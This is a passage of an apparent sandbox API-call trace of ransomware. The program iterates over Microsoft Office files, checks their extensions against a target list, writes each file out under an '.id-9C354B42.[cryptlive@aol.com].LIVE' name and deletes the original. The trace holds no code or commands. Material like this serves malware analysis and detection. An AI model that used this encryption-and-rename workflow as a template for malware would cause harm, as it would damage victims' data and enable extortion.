(lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0149.933] lstrlenW (lpString=".zip") returned 4 [0149.933] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.933] lstrlenW (lpString=".rar") returned 4 [0149.933] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.933] lstrlenW (lpString=".bz2") returned 4 [0149.934] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.934] lstrlenW (lpString=".7z") returned 3 [0149.934] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0149.934] lstrlenW (lpString=".dbf") returned 4 [0149.934] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0149.934] lstrlenW (lpString=".1cd") returned 4 [0149.934] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClient.Msg.dll") returned 60 [0149.934] lstrlenW (lpString=".jpg") returned 4 [0149.934] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.934] lstrcmpiW (lpString1=".man", lpString2=".LIVE") returned 1 [0149.934] lstrlenW (lpString="BCSClientManifest.man") returned 21 [0149.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.953] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=26758) returned 1 [0149.953] CloseHandle (hObject=0x3a8) returned 1 [0149.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man")) returned 0x20 [0149.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.954] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.954] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.954] GetLastError () returned 0x0 [0149.954] ReadFile (in: hFile=0x3a8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x6886, lpOverlapped=0x0) returned 1 [0149.969] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x6890, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x6890, lpOverlapped=0x0) returned 1 [0149.970] ReadFile (in: hFile=0x3a8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.970] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0149.971] SetEndOfFile (hFile=0x3a0) returned 1 [0149.971] CloseHandle (hObject=0x3a0) returned 1 [0149.971] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.971] SetEndOfFile (hFile=0x3a8) returned 1 [0149.973] CloseHandle (hObject=0x3a8) returned 1 [0149.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsclientmanifest.man")) returned 1 [0149.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0149.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0149.985] lstrlenW (lpString=".doc") returned 4 [0149.985] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0149.985] lstrlenW (lpString=".docx") returned 5 [0149.985] lstrcmpiW (lpString1=".docx", lpString2="t.man") returned -1 [0149.985] lstrlenW (lpString=".pdf") returned 4 [0149.985] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0149.985] lstrlenW (lpString=".xls") returned 4 [0149.985] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0149.985] lstrlenW (lpString=".xlsx") returned 5 [0149.985] lstrcmpiW (lpString1=".xlsx", lpString2="t.man") returned -1 [0149.985] lstrlenW (lpString=".ppt") returned 4 [0149.985] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0149.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0149.986] lstrlenW (lpString=".zip") returned 4 [0149.986] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0149.986] lstrlenW (lpString=".rar") returned 4 [0149.986] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0149.986] lstrlenW (lpString=".bz2") returned 4 [0149.986] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0149.986] lstrlenW (lpString=".7z") returned 3 [0149.986] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0149.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0149.986] lstrlenW (lpString=".dbf") returned 4 [0149.986] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0149.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0149.986] lstrlenW (lpString=".1cd") returned 4 [0149.986] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0149.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0149.986] lstrlenW (lpString=".jpg") returned 4 [0149.986] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0149.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0149.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0149.986] lstrlenW (lpString=".doc") returned 4 [0149.986] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0149.986] lstrlenW (lpString=".docx") returned 5 [0149.986] lstrcmpiW (lpString1=".docx", lpString2="t.man") returned -1 [0149.986] lstrlenW (lpString=".pdf") returned 4 [0149.986] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0149.986] lstrlenW (lpString=".xls") returned 4 [0149.986] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0149.986] lstrlenW (lpString=".xlsx") returned 5 [0149.986] lstrcmpiW (lpString1=".xlsx", lpString2="t.man") returned -1 [0149.986] lstrlenW (lpString=".ppt") returned 4 [0149.986] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0149.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0149.986] lstrlenW (lpString=".zip") returned 4 [0149.987] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0149.987] lstrlenW (lpString=".rar") returned 4 [0149.987] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0149.987] lstrlenW (lpString=".bz2") returned 4 [0149.987] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0149.987] lstrlenW (lpString=".7z") returned 3 [0149.987] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0149.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0149.987] lstrlenW (lpString=".dbf") returned 4 [0149.987] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0149.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0149.987] lstrlenW (lpString=".1cd") returned 4 [0149.987] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0149.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSClientManifest.man") returned 64 [0149.987] lstrlenW (lpString=".jpg") returned 4 [0149.987] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0149.987] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0149.987] lstrlenW (lpString="BCSLaunch.dll") returned 13 [0149.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.989] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=70528) returned 1 [0149.989] CloseHandle (hObject=0x3a8) returned 1 [0149.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll")) returned 0x20 [0150.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcslaunch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0150.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0150.184] lstrlenW (lpString=".doc") returned 4 [0150.184] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.184] lstrlenW (lpString=".docx") returned 5 [0150.184] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0150.184] lstrlenW (lpString=".pdf") returned 4 [0150.184] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.184] lstrlenW (lpString=".xls") returned 4 [0150.184] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.184] lstrlenW (lpString=".xlsx") returned 5 [0150.184] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0150.184] lstrlenW (lpString=".ppt") returned 4 [0150.184] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0150.185] lstrlenW (lpString=".zip") returned 4 [0150.185] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.185] lstrlenW (lpString=".rar") returned 4 [0150.185] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.185] lstrlenW (lpString=".bz2") returned 4 [0150.185] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.185] lstrlenW (lpString=".7z") returned 3 [0150.185] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0150.185] lstrlenW (lpString=".dbf") returned 4 [0150.185] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0150.185] lstrlenW (lpString=".1cd") returned 4 [0150.185] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0150.185] lstrlenW (lpString=".jpg") returned 4 [0150.185] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0150.185] lstrlenW (lpString=".doc") returned 4 [0150.185] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.185] lstrlenW (lpString=".docx") returned 5 [0150.185] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0150.185] lstrlenW (lpString=".pdf") returned 4 [0150.185] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.185] lstrlenW (lpString=".xls") returned 4 [0150.185] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.185] lstrlenW (lpString=".xlsx") returned 5 [0150.185] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0150.185] lstrlenW (lpString=".ppt") returned 4 [0150.185] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0150.185] lstrlenW (lpString=".zip") returned 4 [0150.185] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.185] lstrlenW (lpString=".rar") returned 4 [0150.185] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.185] lstrlenW (lpString=".bz2") returned 4 [0150.186] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.186] lstrlenW (lpString=".7z") returned 3 [0150.186] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0150.186] lstrlenW (lpString=".dbf") returned 4 [0150.186] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0150.186] lstrlenW (lpString=".1cd") returned 4 [0150.186] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSLaunch.dll") returned 56 [0150.186] lstrlenW (lpString=".jpg") returned 4 [0150.186] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.186] lstrcmpiW (lpString1=".BDR", lpString2=".LIVE") returned -1 [0150.186] lstrlenW (lpString="MSART11.BDR") returned 11 [0150.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0150.245] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=30920) returned 1 [0150.245] CloseHandle (hObject=0x3c8) returned 1 [0150.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr")) returned 0x20 [0150.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0150.246] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.246] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0150.945] GetLastError () returned 0x0 [0150.945] ReadFile (in: hFile=0x3c8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x78c8, lpOverlapped=0x0) returned 1 [0150.994] WriteFile (in: hFile=0x3d4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x78d0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x78d0, lpOverlapped=0x0) returned 1 [0151.010] ReadFile (in: hFile=0x3c8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.010] WriteFile (in: hFile=0x3d4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0151.010] SetEndOfFile (hFile=0x3d4) returned 1 [0151.010] CloseHandle (hObject=0x3d4) returned 1 [0151.010] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.010] SetEndOfFile (hFile=0x3c8) returned 1 [0151.013] CloseHandle (hObject=0x3c8) returned 1 [0151.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr")) returned 1 [0151.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0151.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0151.014] lstrlenW (lpString=".doc") returned 4 [0151.014] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.014] lstrlenW (lpString=".docx") returned 5 [0151.014] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0151.014] lstrlenW (lpString=".pdf") returned 4 [0151.014] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.014] lstrlenW (lpString=".xls") returned 4 [0151.014] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.014] lstrlenW (lpString=".xlsx") returned 5 [0151.014] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0151.014] lstrlenW (lpString=".ppt") returned 4 [0151.014] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0151.014] lstrlenW (lpString=".zip") returned 4 [0151.014] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.015] lstrlenW (lpString=".rar") returned 4 [0151.015] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.015] lstrlenW (lpString=".bz2") returned 4 [0151.015] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.015] lstrlenW (lpString=".7z") returned 3 [0151.015] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0151.015] lstrlenW (lpString=".dbf") returned 4 [0151.015] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0151.015] lstrlenW (lpString=".1cd") returned 4 [0151.015] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0151.015] lstrlenW (lpString=".jpg") returned 4 [0151.015] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0151.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0151.015] lstrlenW (lpString=".doc") returned 4 [0151.015] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.015] lstrlenW (lpString=".docx") returned 5 [0151.015] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0151.015] lstrlenW (lpString=".pdf") returned 4 [0151.015] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.015] lstrlenW (lpString=".xls") returned 4 [0151.015] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.015] lstrlenW (lpString=".xlsx") returned 5 [0151.015] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0151.015] lstrlenW (lpString=".ppt") returned 4 [0151.015] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0151.015] lstrlenW (lpString=".zip") returned 4 [0151.015] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.015] lstrlenW (lpString=".rar") returned 4 [0151.015] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.015] lstrlenW (lpString=".bz2") returned 4 [0151.016] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.016] lstrlenW (lpString=".7z") returned 3 [0151.016] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0151.016] lstrlenW (lpString=".dbf") returned 4 [0151.016] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0151.016] lstrlenW (lpString=".1cd") returned 4 [0151.016] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR") returned 62 [0151.016] lstrlenW (lpString=".jpg") returned 4 [0151.016] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.016] lstrcmpiW (lpString1=".BDR", lpString2=".LIVE") returned -1 [0151.016] lstrlenW (lpString="MSART14.BDR") returned 11 [0151.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0151.017] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=51388) returned 1 [0151.017] CloseHandle (hObject=0x3c8) returned 1 [0151.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr")) returned 0x20 [0151.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0151.017] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.017] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0151.019] GetLastError () returned 0x0 [0151.019] ReadFile (in: hFile=0x3c8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xc8bc, lpOverlapped=0x0) returned 1 [0151.135] WriteFile (in: hFile=0x3d4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xc8c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xc8c0, lpOverlapped=0x0) returned 1 [0151.136] ReadFile (in: hFile=0x3c8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.136] WriteFile (in: hFile=0x3d4, lpBuffer=0x3bc0020*, 